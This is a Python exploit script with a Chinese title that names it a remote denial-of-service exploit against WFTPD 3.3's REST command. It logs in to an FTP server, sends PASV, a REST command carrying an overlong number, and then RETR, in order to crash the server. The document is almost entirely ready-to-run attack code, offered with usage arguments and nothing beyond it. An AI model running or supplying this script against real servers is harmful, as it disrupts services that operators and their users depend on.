WFTPD REST命令远程拒绝服务漏洞

# WFTPD 3.3 unhandled exception # # (x)dmnt 2010 # -*- coding: windows-1252 -*- import socket import sys, time def help_info(): print ("Usage: wftpdkill <host> <login> <password> <existingfle>\n") def dos_it(hostname, username, passwd, exfile): sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) try: sock.connect((hostname, 21)) except: print ("[-] Connection error!") sys.exit(1) r=sock.recv(2048) print "[+] Connected" sock.send("user %s\r\n" %username) r=sock.recv(1024) time.sleep(3) sock.send("pass %s\r\n" %passwd) r=sock.recv(1024) print "Send evil commands" time.sleep(3) sock.send("pasv\r\n") r=sock.recv(1024) time.sleep(3) sock.send("rest 999999999999999999999999999999999999999999999999999999999999999999\r\n") r=sock.recv(1024) time.sleep(3) sock.send("retr %s\r\n" %exfile) time.sleep(3) sock.send("Burn, muthfcka, burn!\r\n") sock.close() print "Server killed\r\n" print ("\nWFTPD 3.3 remote DoS exploit") if len(sys.argv) < 5: help_info() sys.exit(1) else: hostname=sys.argv[1] username=sys.argv[2] passwd=sys.argv[3] exfile=sys.argv[4] dos_it(hostname,username,passwd,exfile) sys.exit(0)